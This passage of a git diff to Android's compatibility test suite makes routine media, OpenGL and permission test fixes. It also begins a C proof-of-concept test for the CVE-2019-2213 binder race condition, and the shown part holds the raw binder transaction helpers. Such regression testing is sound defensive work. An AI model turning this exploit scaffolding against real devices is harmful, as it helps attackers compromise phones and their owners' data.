diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
index d26587b..c873691 100644
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
@@ -631,6 +631,12 @@
// parsing String location and recover the location information in floats
// Make sure the tolerance is very small - due to rounding errors.
+ // Trim the trailing slash, if any.
+ int lastIndex = location.lastIndexOf('/');
+ if (lastIndex != -1) {
+ location = location.substring(0, lastIndex);
+ }
+
// Get the position of the -/+ sign in location String, which indicates
// the beginning of the longitude.
int minusIndex = location.lastIndexOf('-');
@@ -640,12 +646,8 @@
(minusIndex > 0 || plusIndex > 0));
int index = Math.max(minusIndex, plusIndex);
- float latitude = Float.parseFloat(location.substring(0, index - 1));
- int lastIndex = location.lastIndexOf('/', index);
- if (lastIndex == -1) {
- lastIndex = location.length();
- }
- float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
+ float latitude = Float.parseFloat(location.substring(0, index));
+ float longitude = Float.parseFloat(location.substring(index));
assertTrue("Incorrect latitude: " + latitude + " [" + location + "]",
Math.abs(latitude - LATITUDE) <= TOLERANCE);
assertTrue("Incorrect longitude: " + longitude + " [" + location + "]",
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 70d5c20..be33988 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -513,6 +513,12 @@
// Make sure the tolerance is very small - due to rounding errors?.
Log.v(TAG, "location: " + location);
+ // Trim the trailing slash, if any.
+ int lastIndex = location.lastIndexOf('/');
+ if (lastIndex != -1) {
+ location = location.substring(0, lastIndex);
+ }
+
// Get the position of the -/+ sign in location String, which indicates
// the beginning of the longtitude.
int index = location.lastIndexOf('-');
@@ -521,12 +527,8 @@
}
assertTrue("+ or - is not found", index != -1);
assertTrue("+ or - is only found at the beginning", index != 0);
- float latitude = Float.parseFloat(location.substring(0, index - 1));
- int lastIndex = location.lastIndexOf('/', index);
- if (lastIndex == -1) {
- lastIndex = location.length();
- }
- float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
+ float latitude = Float.parseFloat(location.substring(0, index));
+ float longitude = Float.parseFloat(location.substring(index));
assertTrue("Incorrect latitude: " + latitude, Math.abs(latitude - LATITUDE) <= TOLERANCE);
assertTrue("Incorrect longitude: " + longitude, Math.abs(longitude - LONGITUDE) <= TOLERANCE);
retriever.release();
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index f05fcd7..3d51d57 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -39,6 +39,7 @@
/**
* Test {@link android.media.MediaRouter}.
*/
+@NonMediaMainlineTest
@AppModeFull(reason = "TODO: evaluate and port to instant")
public class MediaRouterTest extends InstrumentationTestCase {
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
index 8ca7df7..6745fa4 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
@@ -30,6 +30,7 @@
import java.io.File;
+@NonMediaMainlineTest
@AppModeFull(reason = "TODO: evaluate and port to instant")
public class MediaScannerConnectionTest extends AndroidTestCase {
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java b/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
index 3eb1ab4..77f3d58 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
@@ -26,6 +26,7 @@
import java.io.FileOutputStream;
import java.io.IOException;
+@NonMediaMainlineTest
@AppModeFull(reason = "TODO: evaluate and port to instant")
public class MediaScannerNotificationTest extends AndroidTestCase {
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 1bd909d..4f27289 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -52,6 +52,7 @@
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
+@NonMediaMainlineTest
@SmallTest
@RequiresDevice
@AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 23ae366..39f5471 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -51,6 +51,7 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+@NonMediaMainlineTest
@AppModeFull(reason = "TODO: evaluate and port to instant")
public class MediaSessionTest extends AndroidTestCase {
// The maximum time to wait for an operation that is expected to succeed.
diff --git a/tests/tests/media/src/android/media/cts/MediaSyncTest.java b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
index f5686b1..fae846e 100644
--- a/tests/tests/media/src/android/media/cts/MediaSyncTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
@@ -56,6 +56,7 @@
* Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
* Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
*/
+@NonMediaMainlineTest
@SmallTest
@RequiresDevice
@AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/MediaTimestampTest.java b/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
index de91124..78fd137 100644
--- a/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaTimestampTest.java
@@ -22,6 +22,7 @@
/**
* Tests for MediaTimestamp.
*/
+@NonMediaMainlineTest
public class MediaTimestampTest extends AndroidTestCase {
public void testMediaTimestamp() {
MediaTimestamp timestamp = new MediaTimestamp(1000, 2000, 2.0f);
diff --git a/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java b/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java
new file mode 100644
index 0000000..44ee14f
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Annotation for tests that are not related to media mainline.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface NonMediaMainlineTest {
+}
diff --git a/tests/tests/media/src/android/media/cts/PresentationSyncTest.java b/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
index 23b7173..b9a7d27 100644
--- a/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
+++ b/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
@@ -35,6 +35,7 @@
* SurfaceFlinger allows a "desired presentation time" value to be passed along with buffers of
* data. This exercises that feature.
*/
+@NonMediaMainlineTest
@AppModeFull(reason = "TODO: evaluate and port to instant")
public class PresentationSyncTest extends ActivityInstrumentationTestCase2<MediaStubActivity>
implements SurfaceHolder.Callback {
diff --git a/tests/tests/media/src/android/media/cts/PresetReverbTest.java b/tests/tests/media/src/android/media/cts/PresetReverbTest.java
index 9848015..c7cc37e 100644
--- a/tests/tests/media/src/android/media/cts/PresetReverbTest.java
+++ b/tests/tests/media/src/android/media/cts/PresetReverbTest.java
@@ -25,6 +25,7 @@
import android.test.AndroidTestCase;
import android.util.Log;
+@NonMediaMainlineTest
@AppModeFull(reason = "TODO: evaluate and port to instant")
public class PresetReverbTest extends PostProcTestBase {
@@ -395,4 +396,4 @@
mReverb2 = null;
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/RemoteControllerTest.java b/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
index 802086a..a7d9f72 100644
--- a/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
@@ -37,6 +37,7 @@
/**
* Tests for {@link RemoteController}.
*/
+@NonMediaMainlineTest
@AppModeFull(reason = "TODO: evaluate and port to instant")
public class RemoteControllerTest extends InstrumentationTestCase {
diff --git a/tests/tests/media/src/android/media/cts/SubtitleDataTest.java b/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
index 7080436..9cd4144 100644
--- a/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
+++ b/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
@@ -24,6 +24,7 @@
/**
* Tests for SubtitleData.
*/
+@NonMediaMainlineTest
public class SubtitleDataTest extends AndroidTestCase {
private static final String SUBTITLE_RAW_DATA = "RAW_DATA";
diff --git a/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java b/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
index a530999..1e4d035 100644
--- a/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
+++ b/tests/tests/media/src/android/media/cts/TimedMetaDataTest.java
@@ -24,6 +24,7 @@
/**
* Tests for TimedMetaData.
*/
+@NonMediaMainlineTest
public class TimedMetaDataTest extends AndroidTestCase {
private static final String RAW_METADATA = "RAW_METADATA";
diff --git a/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java b/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
index 91ff2f8..4305d84 100644
--- a/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
+++ b/tests/tests/media/src/android/media/cts/ToneGeneratorTest.java
@@ -21,6 +21,7 @@
import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
+@NonMediaMainlineTest
@AppModeFull(reason = "TODO: evaluate and port to instant")
public class ToneGeneratorTest extends AndroidTestCase {
diff --git a/tests/tests/media/src/android/media/cts/VirtualizerTest.java b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
index 52b7e7a..175f358 100644
--- a/tests/tests/media/src/android/media/cts/VirtualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
@@ -29,6 +29,7 @@
import java.util.Arrays;
+@NonMediaMainlineTest
@AppModeFull(reason = "TODO: evaluate and port to instant")
public class VirtualizerTest extends PostProcTestBase {
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 91949db..7c48cd3 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1636,6 +1636,8 @@
glRenderbufferStorage(GL_RENDERBUFFER, default_formats[i], width, height);
glFramebufferRenderbuffer(GL_FRAMEBUFFER, attachment_points[i],
GL_RENDERBUFFER, renderbuffer);
+ glClearColor(0.0f, 0.0f, 0.0f, 0.0f);
+ glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT);
break;
}
default: FAIL() << "Unrecognized binding type";
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
index 3e5565e..49c086d 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
@@ -25,6 +25,7 @@
import androidx.test.filters.LargeTest;
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
import org.junit.Before;
import org.junit.Rule;
@@ -77,6 +78,7 @@
activity.waitToFinishDrawing();
// TODO(b/30948621): Remove the sleep below once b/30948621 is fixed.
Thread.sleep(500);
+ UiDevice.getInstance(mInstrumentation).pressHome();
activity.finish();
mInstrumentation.waitForIdleSync();
}
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
index 4670928..c15b7a4 100755
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
@@ -19,6 +19,7 @@
import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.Manifest.permission.ACCESS_MEDIA_LOCATION;
import static android.Manifest.permission.READ_CALL_LOG;
import static android.Manifest.permission.READ_CONTACTS;
import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
@@ -104,6 +105,13 @@
case ACCESS_COARSE_LOCATION:
assertSplit(split, ACCESS_BACKGROUND_LOCATION, Build.VERSION_CODES.Q);
break;
+ case READ_EXTERNAL_STORAGE:
+ assertSplit(split, ACCESS_MEDIA_LOCATION, Build.VERSION_CODES.Q);
+ // Remove this split permission from seenSplits, ACCESS_MEDIA_LOCATION is not
+ // always available hence removing this permission from seenSplits will
+ // avoid seenSplits size check fail.
+ seenSplits.remove(split);
+ break;
}
}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index ec78a94..799e3ac 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -25,15 +25,18 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.app.AppOpsManager;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.media.ExifInterface;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
+import android.os.Process;
import android.os.storage.StorageManager;
import android.platform.test.annotations.Presubmit;
import android.provider.MediaStore;
@@ -338,6 +341,26 @@
try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
}
+ // Remove ACCESS_MEDIA_LOCATION permission
+ try {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
+
+ // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+ // Deny access_media_permission App op to revoke this permission.
+ if (mContext.getPackageManager().checkPermission(
+ android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
+ == PackageManager.PERMISSION_GRANTED) {
+
+ mContext.getSystemService(AppOpsManager.class).setUidMode(
+ "android:access_media_location", Process.myUid(),
+ AppOpsManager.MODE_IGNORED);
+ }
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ dropShellPermissionIdentity();
+ }
+
// Now remove ownership, which means that Exif/XMP location data should be redacted
ProviderTestUtils.executeShellCommand("content update"
+ " --user " + InstrumentationRegistry.getTargetContext().getUserId()
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
index 6a7a1f9..92ce7e0 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
@@ -27,14 +27,17 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.app.AppOpsManager;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.database.Cursor;
import android.media.MediaExtractor;
import android.media.MediaMetadataRetriever;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
+import android.os.Process;
import android.os.storage.StorageManager;
import android.platform.test.annotations.Presubmit;
import android.provider.MediaStore;
@@ -249,6 +252,26 @@
try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
}
+ // Remove ACCESS_MEDIA_LOCATION permission
+ try {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
+
+ // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+ // Deny access_media_permission App op to revoke this permission.
+ if (mContext.getPackageManager().checkPermission(
+ android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
+ == PackageManager.PERMISSION_GRANTED) {
+
+ mContext.getSystemService(AppOpsManager.class).setUidMode(
+ "android:access_media_location", Process.myUid(),
+ AppOpsManager.MODE_IGNORED);
+ }
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ dropShellPermissionIdentity();
+ }
+
// Now remove ownership, which means that location should be redacted
ProviderTestUtils.executeShellCommand("content update"
+ " --user " + InstrumentationRegistry.getTargetContext().getUserId()
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index b41f33d..5afe33c 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -43,6 +43,7 @@
"libc++",
"libpcre2",
"libpackagelistparser",
+ "libcve_2019_2213_jni",
],
srcs: [
"src/**/*.java",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 54df055..6eaaaa5 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -51,6 +51,36 @@
</activity>
<activity
+ android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
+ android:label="Test Binder Exploit Race Condition activity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <activity
+ android:name="android.security.cts.NanoAppBundleTest$FailActivity"
+ android:label="Test Nano AppBundle customized failure catch activity">
+ <intent-filter>
+ <action android:name="android.intent.action.RUN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
+ <service
+ android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+
+ <activity
android:name="android.security.cts.SkiaJpegDecodingActivity"
android:label="Test overflow in libskia JPG processing">
<intent-filter>
diff --git a/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
new file mode 100644
index 0000000..1b6d7d9
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
@@ -0,0 +1,24 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.os.IBinder;
+
+interface IBinderExchange {
+ void putBinder(in IBinder bnd);
+ IBinder getBinder();
+}
diff --git a/tests/tests/security/jni/Android.bp b/tests/tests/security/jni/Android.bp
index 27f6289..b667f18 100644
--- a/tests/tests/security/jni/Android.bp
+++ b/tests/tests/security/jni/Android.bp
@@ -31,3 +31,25 @@
"libcutils",
],
}
+
+cc_library {
+ name: "libcve_2019_2213_jni",
+ srcs: [
+ "android_security_cts_cve_2019_2213_Test.c",
+ ],
+ shared_libs: [
+ "libnativehelper_compat_libc++",
+ ],
+ static_libs: [
+ "cpufeatures",
+ "libcutils",
+ ],
+ cflags: [
+ "-Werror",
+ "-Wpointer-arith",
+ "-Wno-unused-parameter",
+ "-Wno-sign-compare",
+ "-Wno-unused-label",
+ "-Wno-unused-variable",
+ ],
+}
diff --git a/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c
new file mode 100644
index 0000000..90557a0
--- /dev/null
+++ b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c
@@ -0,0 +1,1911 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <sys/prctl.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <syscall.h>
+#include <pthread.h>
+#include <dirent.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sched.h>
+#include <poll.h>
+#include <elf.h>
+
+#include <cutils/log.h>
+#include <cutils/properties.h>
+#include <jni.h>
+#include <linux/android/binder.h>
+#include <cpu-features.h>
+
+#include "../../../../hostsidetests/securitybulletin/securityPatch/includes/common.h"
+
+typedef uint8_t u8;
+typedef uint16_t u16;
+typedef uint32_t u32;
+typedef uint64_t u64;
+typedef int64_t s64;
+
+jobject this;
+jmethodID add_log;
+JavaVM *jvm;
+
+#define MAX_THREADS 10
+
+struct tid_jenv {
+ int tid;
+ JNIEnv *env;
+};
+struct tid_jenv tid_jenvs[MAX_THREADS];
+int num_threads;
+
+int gettid() {
+ return (int)syscall(SYS_gettid);
+}
+
+void fail(char *msg, ...);
+
+void add_jenv(JNIEnv *e) {
+ if (num_threads >= MAX_THREADS) {
+ fail("too many threads");
+ return;
+ }
+ struct tid_jenv *te = &tid_jenvs[num_threads++];
+ te->tid = gettid();
+ te->env = e;
+}
+
+JNIEnv *get_jenv() {
+ int tid = gettid();
+ for (int i = 0; i < num_threads; i++) {
+ struct tid_jenv *te = &tid_jenvs[i];
+ if (te->tid == tid)
+ return te->env;
+ }
+ return NULL;
+}
+
+void jni_attach_thread() {
+ JNIEnv *env;
+ (*jvm)->AttachCurrentThread(jvm, &env, NULL);
+ add_jenv(env);
+}
+
+pthread_mutex_t log_mut = PTHREAD_MUTEX_INITIALIZER;
+pthread_cond_t log_pending = PTHREAD_COND_INITIALIZER;
+pthread_cond_t log_done = PTHREAD_COND_INITIALIZER;
+volatile char *log_line;
+
+void send_log_thread(char *msg) {
+ pthread_mutex_lock(&log_mut);
+ while (log_line)
+ pthread_cond_wait(&log_done, &log_mut);
+ log_line = msg;
+ pthread_cond_signal(&log_pending);
+ pthread_mutex_unlock(&log_mut);
+}
+
+void dbg(char *msg, ...);
+
+void log_thread(u64 arg) {
+ while (1) {
+ pthread_mutex_lock(&log_mut);
+ while (!log_line)
+ pthread_cond_wait(&log_pending, &log_mut);
+ dbg("%s", log_line);
+ free((void*)log_line);
+ log_line = NULL;
+ pthread_cond_signal(&log_done);
+ pthread_mutex_unlock(&log_mut);
+ }
+}
+
+void dbg(char *msg, ...) {
+ char *line;
+ va_list va;
+ JNIEnv *env = get_jenv();
+ va_start(va, msg);
+ if (vasprintf(&line, msg, va) >= 0) {
+ if (env) {
+ jstring jline = (*env)->NewStringUTF(env, line);
+ (*env)->CallVoidMethod(env, this, add_log, jline);
+ free(line);
+ } else {
+ send_log_thread(line);
+ }
+ }
+ va_end(va);
+}
+
+void fail(char *msg, ...) {
+ char *line;
+ va_list va;
+ va_start(va, msg);
+ if (vasprintf(&line, msg, va) >= 0)
+ dbg("FAIL: %s (errno=%d)", line, errno);
+ va_end(va);
+}
+
+struct buffer {
+ char *p;
+ u32 size;
+ u32 off;
+};
+
+typedef struct buffer buf_t;
+
+struct parser {
+ u8 *buf;
+ u8 *p;
+ u32 size;
+};
+
+typedef struct parser parser_t;
+
+parser_t *new_parser() {
+ parser_t *ret = malloc(sizeof(parser_t));
+ ret->size = 0x400;
+ ret->buf = ret->p = malloc(ret->size);
+ return ret;
+}
+
+void free_parser(parser_t *parser) {
+ free(parser->buf);
+ free(parser);
+}
+
+int parser_end(parser_t *p) {
+ return !p->size;
+}
+
+void *parser_get(parser_t *p, u32 sz) {
+ if (sz > p->size) {
+ fail("parser size exceeded");
+ return NULL;
+ }
+ p->size -= sz;
+ u8 *ret = p->p;
+ p->p += sz;
+ return ret;
+}
+
+u32 parse_u32(parser_t *p) {
+ u32 *pu32 = parser_get(p, sizeof(u32));
+ return (pu32 == NULL) ? (u32)-1 : *pu32;
+}
+
+buf_t *new_buf_sz(u32 sz) {
+ buf_t *b = malloc(sizeof(buf_t));
+ b->size = sz;
+ b->off = 0;
+ b->p = malloc(sz);
+ return b;
+}
+
+buf_t *new_buf() {
+ return new_buf_sz(0x200);
+}
+
+void free_buf(buf_t *buf) {
+ free(buf->p);
+ free(buf);
+}
+
+void *buf_alloc(buf_t *b, u32 s) {
+ s = (s + 3) & ~3;
+ if (b->size - b->off < s)
+ fail("out of buf space");
+ char *ret = b->p + b->off;
+ b->off += s;
+ memset(ret, 0x00, s);
+ return ret;
+}
+
+void buf_u32(buf_t *b, u32 v) {
+ char *p = buf_alloc(b, sizeof(u32));
+ *(u32*)p = v;
+}
+
+void buf_u64(buf_t *b, u64 v) {
+ char *p = buf_alloc(b, sizeof(u64));
+ *(u64*)p = v;
+}
+
+void buf_uintptr(buf_t *b, u64 v) {
+ char *p = buf_alloc(b, sizeof(u64));
+ *(u64*)p = v;
+}
+
+void buf_str16(buf_t *b, const char *s) {
+ if (!s) {
+ buf_u32(b, 0xffffffff);
+ return;
+ }
+ u32 len = strlen(s);
+ buf_u32(b, len);
+ u16 *dst = (u16*)buf_alloc(b, (len + 1) * 2);
+ for (u32 i = 0; i < len; i++)
+ dst[i] = s[i];
+ dst[len] = 0;
+}
+
+void buf_binder(buf_t *b, buf_t *off, void *ptr) {
+ buf_u64(off, b->off);
+ struct flat_binder_object *fp = buf_alloc(b, sizeof(*fp));
+ fp->hdr.type = BINDER_TYPE_BINDER;
+ fp->flags = FLAT_BINDER_FLAG_ACCEPTS_FDS;
+ fp->binder = (u64)ptr;
+ fp->cookie = 0;
+}
+
+static inline void binder_write(int fd, buf_t *buf);
+
+void enter_looper(int fd) {
+ buf_t *buf = new_buf();
+ buf_u32(buf, BC_ENTER_LOOPER);
+ binder_write(fd, buf);
+}
+
+void init_binder(int fd) {
+ void *map_ret = mmap(NULL, 0x200000, PROT_READ, MAP_PRIVATE, fd, 0);
+ if (map_ret == MAP_FAILED)
+ fail("map fail");
+ enter_looper(fd);
+}
+
+int open_binder() {
+ int fd = open("/dev/binder", O_RDONLY);
+ if (fd < 0)
+ fail("open binder fail");
+ init_binder(fd);
+ return fd;
+}
+
+static inline void binder_rw(int fd, void *rbuf, u32 rsize,
+ void *wbuf, u32 wsize, u32 *read_consumed, u32 *write_consumed) {
+ struct binder_write_read bwr;
+ memset(&bwr, 0x00, sizeof(bwr));
+ bwr.read_buffer = (u64)rbuf;
+ bwr.read_size = rsize;
+ bwr.write_buffer = (u64)wbuf;
+ bwr.write_size = wsize;
+ if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0)
+ fail("binder ioctl fail");
+ if (read_consumed)
+ *read_consumed = bwr.read_consumed;
+ if (write_consumed)
+ *write_consumed = bwr.write_consumed;
+}
+
+void binder_read(int fd, void *rbuf, u32 rsize, u32 *read_consumed) {
+ binder_rw(fd, rbuf, rsize, 0, 0, read_consumed, NULL);
+}
+
+static inline void binder_write(int fd, buf_t *buf) {
+ u32 write_consumed;
+ binder_rw(fd, 0, 0, buf->p, buf->off, NULL, &write_consumed);
+ if (write_consumed != buf->off)
+ fail("binder write fail");
+ free_buf(buf);
+}
+
+void do_send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff, int oneway, int is_reply, binder_size_t extra_sz) {
+ buf_t *buf = new_buf();
+ buf_u32(buf, is_reply ? BC_REPLY_SG : BC_TRANSACTION_SG);
+ struct binder_transaction_data_sg *tr;
+ tr = buf_alloc(buf, sizeof(*tr));
+ struct binder_transaction_data *trd = &tr->transaction_data;
+ trd->target.handle = to;
+ trd->code = code;
+ if (oneway)
+ trd->flags |= TF_ONE_WAY;
+ trd->data.ptr.buffer = trdat ? (u64)trdat->p : 0;
+ trd->data.ptr.offsets = troff ? (u64)troff->p : 0;
+ trd->data_size = trdat ? trdat->off : 0;
+ trd->offsets_size = troff ? troff->off : 0;
+ tr->buffers_size = extra_sz;
+ binder_write(fd, buf);
